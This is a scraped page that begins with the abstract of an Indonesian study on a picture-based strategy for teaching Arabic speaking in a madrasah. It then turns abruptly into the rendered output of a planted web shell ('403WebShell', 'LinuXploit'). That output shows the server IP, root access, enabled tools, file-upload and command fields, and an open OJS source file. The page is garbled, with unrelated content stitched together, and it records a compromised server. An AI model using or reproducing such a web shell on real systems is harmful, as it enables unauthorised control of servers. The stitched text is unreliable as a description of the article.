Efektivitas Strategi Ta’bir Mushawwar dalam Pembelajaran Bahasa Arab di Madrasah Ibtidaiyah

  • Nuur Mahmudah Universitas Islam Negeri Antasari Banjarmasin
  • Khairunnisa Universitas Islam Negeri Antasari Banjarmasin
DOI: https://doi.org/10.37850/ibtida'.v5i2.817
Keywords: Arabic; speaking skill; ta’bir mushawwar

Abstract

Speaking proficiency is one of the main skills in Arabic language learning, but fourth grade students of MI TPI Keramat face difficulties in assembling mufradat and practicing active conversation, mainly due to the lack of varied learning strategies. This study aims to analyze the effectiveness of the ta'bir mushawwar strategy, which uses picture as a media to facilitate students in constructing sentences and telling stories, in improving Arabic speaking skills. With a quantitative approach and pre-experiment design, this study involved 18 students of class IV-C. Data were collected through tests, observations, and interviews, then analyzed descriptively and N-Gain test. The posttest average was 83.06 (very good category) with 88.9% completeness, and the N-Gain score was 0.6398 which showed effectiveness in the medium category. The ta'bir mushawwar strategy offers a solution in the form of a visual and hands-on learning approach that can significantly improve students' speaking skills and make learning more interesting and interactive.

403WebShell
403Webshell
Server IP : 103.175.217.176  /  Your IP : 3.128.200.165
Web Server : Apache/2.4.62 (Debian)
System : Linux bilfathvps 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User : root ( 0)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bilfatvps/html/journal.stitaf.ac.id/lib/pkp/classes/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /home/bilfatvps/html/journal.stitaf.ac.id/lib/pkp/classes/core/RuntimeEnvironment.inc.php
<?php
/**
 * @file classes/core/RuntimeEnvironment.inc.php
 *
 * Copyright (c) 2014-2019 Simon Fraser University
 * Copyright (c) 2000-2019 John Willinsky
 * Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
 *
 * @class RuntimeEnvironment
 * @ingroup core
 *
 * @brief Class that describes a runtime environment.
 */


class RuntimeEnvironment {
	/** @var string */
	var $_phpVersionMin;

	/** @var string */
	var $_phpVersionMax;

	/** @var array */
	var $_phpExtensions;

	/** @var array */
	var $_externalPrograms;

	function __construct($phpVersionMin = PHP_REQUIRED_VERSION, $phpVersionMax = null, $phpExtensions = array(), $externalPrograms = array()) {
		$this->_phpVersionMin = $phpVersionMin;
		$this->_phpVersionMax = $phpVersionMax;
		$this->_phpExtensions = $phpExtensions;
		$this->_externalPrograms = $externalPrograms;
	}

	//
	// Setters and Getters
	//
	/**
	 * Get the min required PHP version
	 * @return string
	 */
	function getPhpVersionMin() {
		return $this->_phpVersionMin;
	}

	/**
	 * Get the max required PHP version
	 * @return string
	 */
	function getPhpVersionMax() {
		return $this->_phpVersionMax;
	}

	/**
	 * Get the required PHP extensions
	 * @return array
	 */
	function getPhpExtensions() {
		return $this->_phpExtensions;
	}

	/**
	 * Get the required external programs
	 * @return array
	 */
	function getExternalPrograms() {
		return $this->_externalPrograms;
	}


	//
	// Public methods
	//
	/**
	 * Checks whether the current runtime environment is
	 * compatible with the specified parameters.
	 * @return boolean
	 */
	function isCompatible() {
		// Check PHP version
		if (!is_null($this->_phpVersionMin) && !checkPhpVersion($this->_phpVersionMin)) return false;
		if (!is_null($this->_phpVersionMax) && version_compare(PHP_VERSION, $this->_phpVersionMax) === 1) return false;

		// Check PHP extensions
		foreach($this->_phpExtensions as $requiredExtension) {
			if(!extension_loaded($requiredExtension)) return false;
		}

		// Check external programs
		foreach($this->_externalPrograms as $requiredProgram) {
			$externalProgram = Config::getVar('cli', $requiredProgram);
			if (!file_exists($externalProgram)) return false;
			if (function_exists('is_executable')) {
				if (!is_executable($externalProgram)) return false;
			}
		}

		// Compatibility check was successful
		return true;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit